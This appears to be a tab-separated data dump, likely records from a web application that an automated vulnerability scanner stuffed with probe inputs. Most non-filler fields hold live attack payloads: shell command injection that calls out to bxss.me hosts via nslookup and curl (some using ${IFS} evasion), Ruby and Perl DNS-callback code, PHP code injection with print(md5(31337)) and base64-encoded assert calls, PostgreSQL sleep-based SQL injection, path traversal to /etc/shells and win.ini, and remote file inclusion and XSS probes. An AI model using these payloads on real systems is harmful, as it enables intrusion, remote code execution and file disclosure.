1	Http://bxss.me/t/fit.txt	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU""||sleep(27*1000)*akidvj||"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU&n941002=v925510	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'+'A'.concat(70-3).concat(22*4).concat(113).concat(73).concat(120).concat(89)+(require'socket'
Socket.gethostbyname('hitfy'+'iygghklc729db.bxss.me.')[3].to_s)+'"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	bxss.me	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU'||sleep(27*1000)*acaitq||'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"""+""A"".concat(70-3).concat(22*4).concat(98).concat(71).concat(105).concat(90)+(require""socket""
Socket.gethostbyname(""hitpx""+""sjzhosmd3c64e.bxss.me."")[3].to_s)+"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	c:/windows/win.ini	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	../../../../../../../../../../../../../../etc/shells	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU'&&sleep(27*1000)*uexhel&&'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	/etc/shells	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'""()"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1&n904710=v968936	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1&n942892=v993470	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU&n976507=v976774	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1&n955852=v933286	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1&n900558=v992862	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	http://bxss.me/t/fit.txt%3F.jpg	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	Http://bxss.me/t/fit.txt	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	bxss.me	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	../../../../../../../../../../../../../../etc/shells	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	|(nslookup -q=cname hitsbnwbjdzli191e0.bxss.me||curl hitsbnwbjdzli191e0.bxss.me)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	^(#$!@#$)(()))******	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	!(()&&!|*|*|	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1'||sleep(27*1000)*ondauy||'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1""&&sleep(27*1000)*gdxzmb&&"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	^(#$!@#$)(()))******	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'""()"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	Http://bxss.me/t/fit.txt	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1""&&sleep(27*1000)*uuhrvf&&"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'A'.concat(70-3).concat(22*4).concat(119).concat(89).concat(99).concat(86)+(require'socket'
Socket.gethostbyname('hituj'+'wxgmltmi2329b.bxss.me.')[3].to_s)"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	""".gethostbyname(lc(""hitef"".""zjkoqqxab6424.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(109).chr(67).chr(115).chr(75)."""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"""+""A"".concat(70-3).concat(22*4).concat(101).concat(82).concat(106).concat(75)+(require""socket""
Socket.gethostbyname(""hityd""+""auyxytghc965c.bxss.me."")[3].to_s)+"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"'A'.concat(70-3).concat(22*4).concat(110).concat(78).concat(119).concat(68)+(require'socket'
Socket.gethostbyname('hitpj'+'yzvajhaca60bd.bxss.me.')[3].to_s)"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	!(()&&!|*|*|	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'A'.concat(70-3).concat(22*4).concat(111).concat(84).concat(115).concat(70)+(require'socket'
Socket.gethostbyname('hitbn'+'psmneqdyd6662.bxss.me.')[3].to_s)"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU""&&sleep(27*1000)*xbowwx&&"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	^(#$!@#$)(()))******	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	c:/windows/win.ini	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	!(()&&!|*|*|	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	/etc/shells	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMUuIPp7v6Q')) OR 422=(SELECT 422 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	${@print(md5(31337))}\	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	http://bxss.me/t/fit.txt%3F.jpg	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	NVVlOWZBN2g=	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	bxss.me/t/xss.html?%00	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	HttP://bxss.me/t/xss.html?%00	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	bxss.me/t/xss.html?%00	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	${@print(md5(31337))}\	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	bxss.me/t/xss.html?%00	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	HttP://bxss.me/t/xss.html?%00	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	""";print(md5(31337));$a="""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	bxss.me/t/xss.html?%00	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	HttP://bxss.me/t/xss.html?%00	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	${@print(md5(31337))}\	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU����%2527%2522\'\"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	bxss.me/t/xss.html?%00	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	${@print(md5(31337))}	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	HttP://bxss.me/t/xss.html?%00	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	""";print(md5(31337));$a="""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	';print(md5(31337));$a='	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	bxss.me/t/xss.html?%00	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	'.print(md5(31337)).'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	${@print(md5(31337))}\	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"&nslookup -q=cname hitjahkqrxaau078b0.bxss.me&'\""`0&nslookup -q=cname hitjahkqrxaau078b0.bxss.me&`'"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	Http://bxss.me/t/fit.txt	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	'.print(md5(31337)).'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	(nslookup -q=cname hitkabayyqjfo57fc1.bxss.me||curl hitkabayyqjfo57fc1.bxss.me))	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	bxss.me	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	${@print(md5(31337))}\	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	expr 9000175510 - 987516	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	c:/windows/win.ini	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"|echo dpmuwd$()\ ympesb\nz^xyu||a #' |echo dpmuwd$()\ ympesb\nz^xyu||a #|"" |echo dpmuwd$()\ ympesb\nz^xyu||a #"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	/etc/shells	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	bxss.me/t/xss.html?%00	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	';print(md5(31337));$a='	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"echo cdveiw$()\ plognr\nz^xyu||a #' &echo cdveiw$()\ plognr\nz^xyu||a #|"" &echo cdveiw$()\ plognr\nz^xyu||a #"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	HttP://bxss.me/t/xss.html?%00	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	""".gethostbyname(lc(""hitmc"".""ezisalnlaad4a.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(112).chr(67).chr(118).chr(90)."""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	;(nslookup -q=cname hitdncpsgjihr987cd.bxss.me||curl hitdncpsgjihr987cd.bxss.me)|(nslookup -q=cname hitdncpsgjihr987cd.bxss.me||curl hitdncpsgjihr987cd.bxss.me)&(nslookup -q=cname hitdncpsgjihr987cd.bxss.me||curl hitdncpsgjihr987cd.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	gethostbyname(lc('hitol'.'esgeulwzeb956.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(87).chr(110).chr(73)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"&(nslookup -q=cname hitnxyainalou4a62e.bxss.me||curl hitnxyainalou4a62e.bxss.me)&'\""`0&(nslookup -q=cname hitnxyainalou4a62e.bxss.me||curl hitnxyainalou4a62e.bxss.me)&`'"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	""";print(md5(31337));$a="""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	bxss.me	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ZlY2MmZpR2w=	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"""+""A"".concat(70-3).concat(22*4).concat(119).concat(90).concat(97).concat(72)+(require""socket""
Socket.gethostbyname(""hitqb""+""eexdttlx7116e.bxss.me."")[3].to_s)+"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	'.print(md5(31337)).'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	HttP://bxss.me/t/xss.html?%00	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	HttP://bxss.me/t/xss.html?%00	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	../../../../../../../../../../../../../../etc/shells	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	/etc/shells	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	""";print(md5(31337));$a="""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	';print(md5(31337));$a='	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/shells	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"&echo zycvbx$()\ ghwxme\nz^xyu||a #' &echo zycvbx$()\ ghwxme\nz^xyu||a #|"" &echo zycvbx$()\ ghwxme\nz^xyu||a #"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	gethostbyname(lc('hiten'.'jnumhhuo0de55.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(66).chr(104).chr(80)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	'.gethostbyname(lc('hitzr'.'tweetati86679.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(85).chr(117).chr(68).'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitcgvjzrjfkb94614.bxss.me||curl${IFS}hitcgvjzrjfkb94614.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitcgvjzrjfkb94614.bxss.me||curl${IFS}hitcgvjzrjfkb94614.bxss.me)&`'"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitecwnumwgin6c91b.bxss.me||curl${IFS}hitecwnumwgin6c91b.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitnsjpcyozqw3ed0f.bxss.me||curl${IFS}hitnsjpcyozqw3ed0f.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitnsjpcyozqw3ed0f.bxss.me||curl${IFS}hitnsjpcyozqw3ed0f.bxss.me)&`'"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	;(nslookup -q=cname hitgsoxdbefjf4e929.bxss.me||curl hitgsoxdbefjf4e929.bxss.me)|(nslookup -q=cname hitgsoxdbefjf4e929.bxss.me||curl hitgsoxdbefjf4e929.bxss.me)&(nslookup -q=cname hitgsoxdbefjf4e929.bxss.me||curl hitgsoxdbefjf4e929.bxss.me)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	`(nslookup -q=cname hitncmbjbicjl01bd8.bxss.me||curl hitncmbjbicjl01bd8.bxss.me)`	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	`(nslookup -q=cname hitxiictvajbv89825.bxss.me||curl hitxiictvajbv89825.bxss.me)`	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	|(nslookup -q=cname hittdvpxrkmvwf4388.bxss.me||curl hittdvpxrkmvwf4388.bxss.me)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"&(nslookup -q=cname hitbfvnhkyjkja979b.bxss.me||curl hitbfvnhkyjkja979b.bxss.me)&'\""`0&(nslookup -q=cname hitbfvnhkyjkja979b.bxss.me||curl hitbfvnhkyjkja979b.bxss.me)&`'"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"&nslookup -q=cname hitccqfjzhhja316a2.bxss.me&'\""`0&nslookup -q=cname hitccqfjzhhja316a2.bxss.me&`'"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	$(nslookup -q=cname hitfgvkonkejtc04c7.bxss.me||curl hitfgvkonkejtc04c7.bxss.me)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	http://bxss.me/t/fit.txt%3F.jpg	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	(nslookup -q=cname hitaoklfpxhip7220f.bxss.me||curl hitaoklfpxhip7220f.bxss.me))	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
